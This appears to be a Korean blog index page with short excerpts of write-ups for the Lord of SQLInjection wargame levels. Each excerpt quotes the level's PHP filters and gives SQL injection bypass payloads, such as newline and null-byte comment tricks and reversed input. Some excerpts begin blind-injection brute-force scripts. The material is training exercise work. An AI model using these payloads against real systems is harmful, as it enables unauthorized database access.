hacking(13)
-
[WriteUp]/[Lord Of SQLInjection] dragon
$query = "select id from prob_dragon where id='guest' # and pw='{$_GET[pw]}'";→ 여기서 #은 한 줄만 주석으로 친다.⇒ 줄을 바꿔주고 query를 작성하면 주석처리가 적용되지 않는다.[도메인 값]?pw=%0a and pw='' or id='admin→ %0a로 줄바꿈 처리→ pw를 =’’로 재정의→ 그 후 or을 이용해 id=’admin으로 지정해준다.
2025.03.07 -
[WriteUp]/[Lord of SQLInjection] xavis
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");→ 여기서 역대 문제들 중에서 regex라는 함수가 첫 등장을 한다.regex란?다중 like 문을 사용해야 할때 간단하게 줄여주는 함수from requests import geturl = ### xavis의 URL ###cookie = dict(PHPSESSID="### 자신의 PHPSESSID ####")length = 0password = ''print("### find for pw length ###")while(True) : param = "?pw=1232%27%20o..
2025.03.07 -
[Writeup]/[Lord of SQLInjection] nightmare
if(preg_match('/prob|_|\\.|\\(\\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");if(strlen($_GET[pw])>6) exit("No Hack ~_~);→ pw에서 (prob, _, ., (), #, -)를 필터링한다.→ pw의 입력값의 길이가 6이 넘지 않아야한다.→ 6자 이내로 id가 admin과 다르다고 설정한 후 우회한다.풀이→ pw의 입력값을 괄호로 막아주기 위해 ‘)’를 사용→ MySQL은 쿼리를 읽을 때 NULL을 만나면 멈추는데, 이 점을 이용해서 ;%00을 사용해준다.⇒ pw값이 참이 되도록 만드는 것에 중점을 둔다.[도메인 값]?pw=')';%00-> 클리어 창이 뜬다.
2025.03.05 -
[Writeup]/[Lord Of SQLInjection] zombie_assassin
코드 분석$_GET['id'] = strrev(addslashes($_GET['id']));$_GET['pw'] = strrev(addslashes($_GET['pw']));strrev = 문자열을 거꾸로 반환하는 함수addslashes = 싱글쿼터나 더블쿼터, NULL(%00)의 앞에 특수문자를 문자열로 만들어주는 \를 넣어서 문자열로 만듦⇒ strrev(addslashes) = 특수문자가 문자열 처리 된 후에 순서가 뒤집힘→ 입력값이 거꾸로 반전되는 것까지 고려해야하는 문제풀이null 문자를 넣어서 문제를 해결하되 입력값이 거꾸로 삽입되는 점을 이용해서 처음부터 역순으로 넣어준다.?id=%00&&pw=%23 eurt ro
2025.03.05 -
[Writeup]/[Lord Of SQLInjection] succubus
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/\\'/',$_GET[id])) exit("HeHe"); if(preg_match('/\\'/',$_GET[pw])) exit("HeHe");→ get으로 서버에 요청된 id, pw 값에 prob, _, ., (), ‘가 들어가면 필터링이 된다.$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; → 명령문은 id를 찾는데..
2025.03.05 -
[Writeup]/[Lord Of SQLInjection] assassin
이전 문제들과 마찬가지로 blind injection 방식으로 풀면 된다.→ 길이를 먼저 구하고, 전체 패스워드를 파이썬 코드로 구한다.길이$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";→ 해당 코드에서 pw가 like 구문으로 입력 받는다는게 명시적으로 나타난다.→ 따라서, 문자 하나를 대표하는 _를 사용한다.→ _를 8개 적용하니 “Hello guest”가 출력되었다.→ pw 길이가 8이다.import requestspassword = ''for admin_len in range(8): ##pw의 길이 8만큼 수행 for admin_pass in range(ord('0'), ord('z')): #숫자 0에서 부터 문자 z..
2025.03.05